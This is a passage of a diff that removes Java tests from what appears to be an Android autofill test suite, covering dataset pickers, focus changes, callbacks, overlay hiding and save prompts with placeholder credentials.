-            if (passwordPickerBoundaries1.top < passwordBoundaries1.bottom) {
-                assertThat(passwordPickerBoundaries1.bottom).isEqualTo(passwordBoundaries1.top);
-            } else {
-                assertThat(passwordPickerBoundaries1.top).isEqualTo(passwordBoundaries1.bottom);
-            }
-            assertThat(passwordPickerBoundaries1.left).isEqualTo(passwordBoundaries1.left);
-        }
-
-        // Then back to username
-        final Rect usernameBoundaries2 = mUiBot.selectByRelativeId(ID_USERNAME).getVisibleBounds();
-        callback.assertUiHiddenEvent(password);
-        callback.assertUiShownEvent(username);
-        final Rect usernamePickerBoundaries2 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
-        Log.v(TAG,
-                "Username2 at " + usernameBoundaries2 + "; picker at " + usernamePickerBoundaries2);
-
-        // And back to the password again..
-        final Rect passwordBoundaries2 = mUiBot.selectByRelativeId(ID_PASSWORD).getVisibleBounds();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-        final Rect passwordPickerBoundaries2 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
-        Log.v(TAG,
-                "Password2 at " + passwordBoundaries2 + "; picker at " + passwordPickerBoundaries2);
-
-        // Assert final state matches initial...
-        // ... for username
-        assertWithMessage("Username2 at %s; Username1 at %s", usernameBoundaries2,
-                usernamePickerBoundaries1).that(usernameBoundaries2).isEqualTo(usernameBoundaries1);
-        assertWithMessage("Username2 picker at %s; Username1 picker at %s",
-                usernamePickerBoundaries2, usernamePickerBoundaries1).that(
-                usernamePickerBoundaries2).isEqualTo(usernamePickerBoundaries1);
-
-        // ... for password
-        assertWithMessage("Password2 at %s; Password1 at %s", passwordBoundaries2,
-                passwordBoundaries1).that(passwordBoundaries2).isEqualTo(passwordBoundaries1);
-        assertWithMessage("Password2 picker at %s; Password1 picker at %s",
-                passwordPickerBoundaries2, passwordPickerBoundaries1).that(
-                passwordPickerBoundaries2).isEqualTo(passwordPickerBoundaries1);
-
-        // Final validation check
-        callback.assertNumberUnhandledEvents(0);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillTwoDatasetsSameNumberOfFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("THE DUDE"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are available...
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-
-        // ... on all fields.
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsAll() throws Exception {
-        autoFillTwoDatasetsUnevenNumberOfFieldsTest(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsOne() throws Exception {
-        autoFillTwoDatasetsUnevenNumberOfFieldsTest(false);
-    }
-
-    private void autoFillTwoDatasetsUnevenNumberOfFieldsTest(boolean fillsAll) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setPresentation(createPresentation("THE DUDE"))
-                        .build())
-                .build());
-        if (fillsAll) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("DUDE");
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are available on username...
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-
-        // ... but just one for password
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("The Dude");
-
-        // Auto-fill it.
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("The Dude", "THE DUDE");
-        if (fillsAll) {
-            mUiBot.selectDataset("The Dude");
-        } else {
-            mUiBot.selectDataset("THE DUDE");
-        }
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillDatasetWithoutFieldIsIgnored() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .build())
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are available...
-        mUiBot.assertDatasets("The Dude");
-
-        // ... on all fields.
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("The Dude");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
-        mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
-            @Override
-            public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
-                return new AccessibilityNodeProvider() {
-                    @Override
-                    public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
-                        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
-                        if (virtualViewId == View.NO_ID) {
-                            info.addChild(v, 108);
-                        }
-                        return info;
-                    }
-                };
-            }
-        }));
-
-        testAutoFillOneDataset();
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndMoveFocusAround() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure tapping on other fields from the dataset does not trigger it again
-        requestFocusOnPassword();
-        sReplier.assertNoUnhandledFillRequests();
-
-        requestFocusOnUsername();
-        sReplier.assertNoUnhandledFillRequests();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Make sure tapping on other fields from the dataset does not trigger it again
-        requestFocusOnPassword();
-        mUiBot.assertNoDatasets();
-        requestFocusOnUsernameNoWindowChange();
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testUiNotShownAfterAutofilled() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // Make sure tapping on autofilled field does not trigger it again
-        requestFocusOnPassword();
-        mUiBot.assertNoDatasets();
-
-        requestFocusOnUsernameNoWindowChange();
-        mUiBot.assertNoDatasetsEver();
-    }
-
-    @Test
-    public void testAutofillTapOutside() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-
-        callback.assertUiShownEvent(username);
-        mUiBot.assertDatasets("The Dude");
-
-        // tapping outside autofill window should close it and raise ui hidden event
-        mUiBot.waitForWindowChange(() -> tap(mActivity.getUsernameLabel()));
-        callback.assertUiHiddenEvent(username);
-
-        mUiBot.assertNoDatasets();
-    }
-
-    @Test
-    public void testAutofillCallbacks() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger autofill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-        final View username = mActivity.getUsername();
-        final View password = mActivity.getPassword();
-
-        callback.assertUiShownEvent(username);
-
-        requestFocusOnPassword();
-        callback.assertUiHiddenEvent(username);
-        callback.assertUiShownEvent(password);
-
-        // Unregister callback to make sure no more events are received
-        mActivity.unregisterCallback();
-        requestFocusOnUsername();
-        // Blindly sleep - we cannot wait on any event as none should have been sent
-        SystemClock.sleep(MyAutofillCallback.MY_TIMEOUT.ms());
-        callback.assertNumberUnhandledEvents(0);
-
-        // Autofill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackDisabled() throws Exception {
-        // Set service.
-        disableService();
-
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Assert callback was called
-        final View username = mActivity.getUsername();
-        callback.assertUiUnavailableEvent(username);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasets() throws Exception {
-        callbackUnavailableTest(NO_RESPONSE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Exception {
-        callbackUnavailableTest(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-    }
-
-    private void callbackUnavailableTest(CannedFillResponse response) throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(response);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Assert callback was called
-        final View username = mActivity.getUsername();
-        callback.assertUiUnavailableEvent(username);
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setId("I'm the alpha and the omega")
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Since this is a Presubmit test, wait for connection to avoid flakiness.
-        waitUntilConnected();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Make sure input was sanitized...
-        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
-        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-
-        // ...but labels weren't
-        assertTextOnly(fillRequest.structure, ID_USERNAME_LABEL, "Username");
-        assertTextOnly(fillRequest.structure, ID_PASSWORD_LABEL, "Password");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-        assertViewAutofillState(mActivity.getPassword(), true);
-
-        // Try to login, it will fail.
-        final String loginMessage = mActivity.tapLogin();
-
-        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
-
-        // Set right password...
-        mActivity.onPassword((v) -> v.setText("dude"));
-        assertViewAutofillState(mActivity.getPassword(), false);
-
-        // ... and try again
-        final String expectedMessage = getWelcomeMessage("dude");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
-
-        // Assert value of expected fields - should not be sanitized.
-        assertTextAndValue(saveRequest.structure, ID_USERNAME, "dude");
-        assertTextAndValue(saveRequest.structure, ID_PASSWORD, "dude");
-        assertTextOnly(saveRequest.structure, ID_USERNAME_LABEL, "Username");
-        assertTextOnly(saveRequest.structure, ID_PASSWORD_LABEL, "Password");
-
-        // Make sure extras were passed back on onSave()
-        assertThat(saveRequest.data).isNotNull();
-        final String extraValue = saveRequest.data.getString("numbers");
-        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSaveHidingOverlays() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Bundle extras = new Bundle();
-        extras.putString("numbers", "4815162342");
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setExtras(extras)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Since this is a Presubmit test, wait for connection to avoid flakiness.
-        waitUntilConnected();
-
-        sReplier.getNextFillRequest();
-
-        // Add an overlay on top of the whole screen
-        final View[] overlay = new View[1];
-        try {
-            // Allow ourselves to add overlays
-            allowOverlays();
-
-            // Make sure the fill UI is shown.
-            mUiBot.assertDatasets("The Dude");
-
-            final CountDownLatch latch = new CountDownLatch(1);
-
-            mActivity.runOnUiThread(() -> {
-                // This overlay is focusable, full-screen, which should block interaction
-                // with the fill UI unless the platform successfully hides overlays.
-                final WindowManager.LayoutParams params = new WindowManager.LayoutParams();
-                params.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-                params.flags = WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN;
-                params.width = ViewGroup.LayoutParams.MATCH_PARENT;
-                params.height = ViewGroup.LayoutParams.MATCH_PARENT;
-
-                final View view = new View(mContext) {
-                    @Override
-                    protected void onAttachedToWindow() {
-                        super.onAttachedToWindow();
-                        latch.countDown();
-                    }
-                };
-                view.setBackgroundColor(Color.RED);
-                WindowManager windowManager = mContext.getSystemService(WindowManager.class);
-                windowManager.addView(view, params);
-                overlay[0] = view;
-            });
-
-            // Wait for the window being added.
-            assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
-
-            // Auto-fill it.
-            mUiBot.selectDataset("The Dude");
-
-            // Check the results.
-            mActivity.assertAutoFilled();
-
-            // Try to login, it will fail.
-            final String loginMessage = mActivity.tapLogin();
-
-            assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(
-                    AUTHENTICATION_MESSAGE);
-
-            // Set right password...
-            mActivity.onPassword((v) -> v.setText("dude"));
-
-            // ... and try again
-            final String expectedMessage = getWelcomeMessage("dude");
-            final String actualMessage = mActivity.tapLogin();
-            assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-            // Assert the snack bar is shown and tap "Save".
-            mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-            final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-            // Assert value of expected fields - should not be sanitized.
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "dude");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "dude");
-
-            // Make sure extras were passed back on onSave()
-            assertThat(saveRequest.data).isNotNull();
-            final String extraValue = saveRequest.data.getString("numbers");
-            assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
-        } finally {
-            try {
-                // Make sure we can no longer add overlays
-                disallowOverlays();
-                // Make sure the overlay is removed
-                mActivity.runOnUiThread(() -> {
-                    WindowManager windowManager = mContext.getSystemService(WindowManager.class);
-                    windowManager.removeView(overlay[0]);
-                });
-            } catch (Exception e) {
-                mSafeCleanerRule.add(e);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillMultipleDatasetsPickFirst() throws Exception {
-        multipleDatasetsTest(1);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillMultipleDatasetsPickSecond() throws Exception {
-        multipleDatasetsTest(2);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutoFillMultipleDatasetsPickThird() throws Exception {
-        multipleDatasetsTest(3);
-    }
-
-    private void multipleDatasetsTest(int number) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "mr_plow")
-                        .setField(ID_PASSWORD, "D'OH!")
-                        .setPresentation(createPresentation("Mr Plow"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "el barto")
-                        .setField(ID_PASSWORD, "aycaramba!")
-                        .setPresentation(createPresentation("El Barto"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "mr sparkle")
-                        .setField(ID_PASSWORD, "Aw3someP0wer")
-                        .setPresentation(createPresentation("Mr Sparkle"))
-                        .build())
-                .build());
-        final String name;
-
-        switch (number) {
-            case 1:
-                name = "Mr Plow";
-                mActivity.expectAutoFill("mr_plow", "D'OH!");
-                break;
-            case 2:
-                name = "El Barto";
-                mActivity.expectAutoFill("el barto", "aycaramba!");
-                break;
-            case 3:
-                name = "Mr Sparkle";
-                mActivity.expectAutoFill("mr sparkle", "Aw3someP0wer");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dataset number: " + number);
-        }
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Make sure all datasets are shown.
-        final UiObject2 picker = mUiBot.assertDatasets("Mr Plow", "El Barto", "Mr Sparkle");
-
-        // Auto-fill it.
-        mUiBot.selectDataset(picker, name);
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password).
-     */
-    @Test
-    public void testAutofillOneDatasetCustomPresentation() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude",
-                        createPresentation("The Dude"))
-                .setField(ID_PASSWORD, "sweet",
-                        createPresentation("Dude's password"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("The Dude");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Dude's password");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("The Dude");
-
-        // Auto-fill it.
-        requestFocusOnPassword();
-        mUiBot.selectDataset("Dude's password");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password) and the dataset itself, and each dataset has the same number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentations() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder(createPresentation("Dataset1"))
-                        .setField(ID_USERNAME, "user1") // no presentation
-                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
-                        .setField(ID_PASSWORD, "pass2") // no presentation
-                        .setPresentation(createPresentation("Dataset2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user1", "pass1");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("Dataset1", "User2");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass1", "Dataset2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("Dataset1", "User2");
-
-        // Auto-fill it.
-        requestFocusOnPassword();
-        mUiBot.selectDataset("Pass1");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password), and each dataset has the same number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentationSameFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
-                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
-                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user1", "pass1");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass1", "Pass2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Auto-fill it.
-        requestFocusOnPassword();
-        mUiBot.selectDataset("Pass1");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password), but each dataset has a different number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentationFirstDatasetMissingSecondField()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user2", createPresentation("User2"))
-                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user2", "pass2");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("User1", "User2");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("User2");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    /**
-     * Tests the scenario where the service uses custom remote views for different fields (username
-     * and password), but each dataset has a different number of fields.
-     */
-    @Test
-    @AppModeFull(reason = "testAutofillOneDatasetCustomPresentation() is enough")
-    public void testAutofillMultipleDatasetsCustomPresentationSecondDatasetMissingFirstField()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "user1", createPresentation("User1"))
-                        .setField(ID_PASSWORD, "pass1", createPresentation("Pass1"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_PASSWORD, "pass2", createPresentation("Pass2"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("user1", "pass1");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-        sReplier.getNextFillRequest();
-
-        // Check initial field.
-        mUiBot.assertDatasets("User1");
-
-        // Then move around...
-        requestFocusOnPassword();
-        mUiBot.assertDatasets("Pass1", "Pass2");
-        requestFocusOnUsername();
-        mUiBot.assertDatasets("User1");
-
-        // Auto-fill it.
-        mUiBot.selectDataset("User1");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnly() throws Exception {
-        saveOnlyTest(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyTriggeredManually() throws Exception {
-        saveOnlyTest(false);
-    }
-
-    private void saveOnlyTest(boolean manually) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        if (manually) {
-            mActivity.forceAutofillOnUsername();
-        } else {
-            mActivity.onUsername(View::requestFocus);
-        }
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-        assertThat(saveRequest.datasetIds).isNull();
-
-        // Assert value of expected fields - should not be sanitized.
-        try {
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "malkovich");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "malkovich");
-        } catch (AssertionError | RuntimeException e) {
-            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    public void testSaveGoesAwayWhenTappingHomeButton() throws Exception {
-        saveGoesAway(DismissType.HOME_BUTTON);
-    }
-
-    @Test
-    public void testSaveGoesAwayWhenTappingBackButton() throws Exception {
-        saveGoesAway(DismissType.BACK_BUTTON);
-    }
-
-    @Test
-    public void testSaveGoesAwayWhenTouchingOutside() throws Exception {
-        saveGoesAway(DismissType.TOUCH_OUTSIDE);
-    }
-
-    private void saveGoesAway(DismissType dismissType) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        // Then make sure it goes away when user doesn't want it..
-        switch (dismissType) {
-            case BACK_BUTTON:
